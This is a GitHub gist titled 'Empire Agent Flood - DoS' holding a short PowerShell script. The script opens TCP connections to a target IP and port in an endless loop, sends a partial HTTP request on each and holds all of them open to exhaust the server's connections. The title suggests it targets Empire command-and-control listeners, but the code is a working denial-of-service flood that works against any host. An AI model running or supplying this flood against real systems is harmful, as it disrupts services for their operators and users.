Created
July 30, 2019 03:35
-
-
Save breakersall/3b8790fadf20da1de239314c47b250df to your computer and use it in GitHub Desktop.
Empire Agent Flood - DoS
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Copied from Lee Homes / @Lee_Holmes code copied from https://www.youtube.com/watch?time_continue=206&v=1S9YNJpktBM | |
$ip = "8.8.8.8" | |
$port = "80" | |
$tcpClients = New-Object System.Collections.ArrayList | |
$Counter = 0 | |
while($true) | |
{ | |
"Lauching Client $counter" | |
$counter++ | |
$tmpClient = New-Object System.Net.Sockets.TcpClient $ip,$port | |
$stream = $tmpClient.GetStream() | |
$stream.ReadTimeout = 1000 | |
$writer = New-Object System.IO.Streamwriter $stream | |
$writer.WriteLine("GET / HTTP/1.1") | |
$writer.Flush() | |
$null = $tcpClients.Add($tmpClient) | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment